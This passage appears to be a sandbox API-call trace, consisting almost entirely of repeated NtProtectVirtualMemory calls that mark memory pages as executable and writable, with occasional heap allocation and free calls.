[0245.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.565] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x912960) returned 1 [0245.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.776] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x913968) returned 1 [0245.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.924] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0245.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0245.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.348] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92da50) returned 1 [0246.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.539] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x932a58) returned 1 [0246.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.803] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x912960 [0246.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0246.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.022] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x913968 [0247.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.474] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x928a48 [0247.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, 